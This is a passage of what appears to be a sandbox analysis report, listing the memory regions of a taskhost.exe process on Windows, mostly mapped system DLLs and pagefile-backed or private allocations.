TASK\\Microsoft-Windows-SideShow-SystemDataProviders" [0xe], "NT TASK\\Microsoft-Windows-SideShow-AutoWake" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-UsbCeip" [0xe], "NT TASK\\Microsoft-Windows-Ras-MobilityManager" [0xe], "NT TASK\\Microsoft-Windows-PerfTrack-BackgroundConfigSurveyor" [0xe], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-KernelCeipTask" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003070c" [0xc0000007], "LOCAL" [0x7] Region: id = 3737 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3738 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 3739 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3740 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3741 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3742 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3743 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3744 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3745 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3746 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3747 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3748 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3749 start_va = 0x1a0000 end_va = 0x1acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 3750 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 3751 start_va = 0x1c0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3752 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3753 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3754 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3755 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3756 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 3757 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 3758 start_va = 0x730000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3759 start_va = 0x7f0000 end_va = 0x7f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3760 start_va = 0x800000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3761 start_va = 0x8a0000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3762 start_va = 0x920000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 3763 start_va = 0x930000 end_va = 0x930fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 3764 start_va = 0x940000 end_va = 0x94dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 3765 start_va = 0x950000 end_va = 0x951fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winsatapi.dll.mui" filename = "\\Windows\\System32\\en-US\\WinSATAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winsatapi.dll.mui") Region: id = 3766 start_va = 0x960000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 3767 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 3768 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 3769 start_va = 0xa00000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 3770 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 3771 start_va = 0xa20000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 3772 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 3773 start_va = 0xb00000 end_va = 0xbbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3774 start_va = 0xbc0000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 3775 start_va = 0xc40000 end_va = 0xcc9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 3776 start_va = 0xda0000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 3777 start_va = 0xe20000 end_va = 0xea9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e20000" filename = "" Region: id = 3778 start_va = 0xec0000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 3779 start_va = 0xf90000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 3780 start_va = 0x1010000 end_va = 0x12dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001010000" filename = "" Region: id = 3781 start_va = 0x12e0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 3782 start_va = 0x1400000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 3783 start_va = 0x1480000 end_va = 0x174efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3784 start_va = 0x17d0000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 3785 start_va = 0x1870000 end_va = 0x18effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 3786 start_va = 0x1900000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 3787 start_va = 0x1980000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 3788 start_va = 0x1a70000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 3789 start_va = 0x1b70000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b70000" filename = "" Region: id = 3790 start_va = 0x1c00000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 3791 start_va = 0x1c90000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 3792 start_va = 0x1d90000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 3793 start_va = 0x1e10000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 3794 start_va = 0x2210000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 3795 start_va = 0x24a0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3796 start_va = 0x2600000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 3797 start_va = 0x2680000 end_va = 0x294bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002680000" filename = "" Region: id = 3798 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 3799 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3800 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3801 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3802 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3803 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3804 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3805 start_va = 0xffef0000 end_va = 0xfff03fff monitored = 0 entry_point = 0xffef2ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 3806 start_va = 0x7fef2880000 end_va = 0x7fef2a71fff monitored = 0 entry_point = 0x7fef288101c region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 3807 start_va = 0x7fef2a80000 end_va = 0x7fef2b04fff monitored = 0 entry_point = 0x7fef2ac7bb0 region_type = mapped_file name = "winsatapi.dll" filename = "\\Windows\\System32\\WinSATAPI.dll" (normalized: "c:\\windows\\system32\\winsatapi.dll") Region: id = 3808 start_va = 0x7fef2b10000 end_va = 0x7fef2be0fff monitored = 0 entry_point = 0x7fef2bc8628 region_type = mapped_file name = "sqlceqp30.dll" filename = "\\Windows\\System32\\sqlceqp30.dll" (normalized: "c:\\windows\\system32\\sqlceqp30.dll") Region: id = 3809 start_va = 0x7fef2bf0000 end_va = 0x7fef2d6ffff monitored = 0 entry_point = 0x7fef2c280d0 region_type = mapped_file name = "racengn.dll" filename = "\\Windows\\System32\\RacEngn.dll" (normalized: "c:\\windows\\system32\\racengn.dll") Region: id = 3810 start_va = 0x7fef3860000 end_va = 0x7fef38d3fff monitored = 0 entry_point = 0x7fef38c0524 region_type = mapped_file name = "sqlcese30.dll" filename = "\\Windows\\System32\\sqlcese30.dll" (normalized: "c:\\windows\\system32\\sqlcese30.dll") Region: id = 3811 start_va = 0x7fef3a60000 end_va = 0x7fef3a92fff monitored = 0 entry_point = 0x7fef3a8a834 region_type = mapped_file name = "sqlceoledb30.dll" filename = "\\Windows\\System32\\sqlceoledb30.dll" (normalized: "c:\\windows\\system32\\sqlceoledb30.dll") Region: id = 3812 start_va = 0x7fef3ed0000 end_va = 0x7fef3ee2fff monitored = 0 entry_point = 0x7fef3ed7b68 region_type = mapped_file name = "msoxmlmf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msoxmlmf.dll") Region: id = 3813 start_va = 0x7fef7c60000 end_va = 0x7fef7c63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 3814 start_va = 0x7fef7c70000 end_va = 0x7fef7c73fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 3815 start_va = 0x7fef7c80000 end_va = 0x7fef7c83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 3816 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 3817 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 3818 start_va = 0x7fef7cb0000 end_va = 0x7fef7cb2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 3819 start_va = 0x7fef7cc0000 end_va = 0x7fef7cc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 3820 start_va = 0x7fef7cd0000 end_va = 0x7fef7cd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 3821 start_va = 0x7fef7ce0000 end_va = 0x7fef7ce2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 3822 start_va = 0x7fef7cf0000 end_va = 0x7fef7de1fff monitored = 0 entry_point = 0x7fef7cf9060 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 3823 start_va = 0x7fef7df0000 end_va = 0x7fef7e08fff monitored = 0 entry_point = 0x7fef7dfee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 3824 start_va = 0x7fef83e0000 end_va = 0x7fef8486fff monitored = 0 entry_point = 0x7fef83f050c region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 3825 start_va = 0x7fef86a0000 end_va = 0x7fef86a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 3826 start_va = 0x7fef9490000 end_va = 0x7fef94d1fff monitored = 0 entry_point = 0x7fef94917e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 3827 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 3828 start_va = 0x7fef9830000 end_va = 0x7fef9841fff monitored = 0 entry_point = 0x7fef9831050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 3829 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3830 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3831 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3832 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3833 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3834 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3835 start_va = 0x7fefb3a0000 end_va = 0x7fefb5b4fff monitored = 0 entry_point = 0x7fefb5764b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 3836 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3837 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3838 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3839 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3840 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3841 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3842 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3843 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3844 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3845 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3846 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3847 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3848 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3849 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3850 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3851 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3852 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3853 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3854 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3855 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3856 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3857 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3858 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3859 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3860 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3861 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3862 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3863 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3864 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3865 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3866 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3867 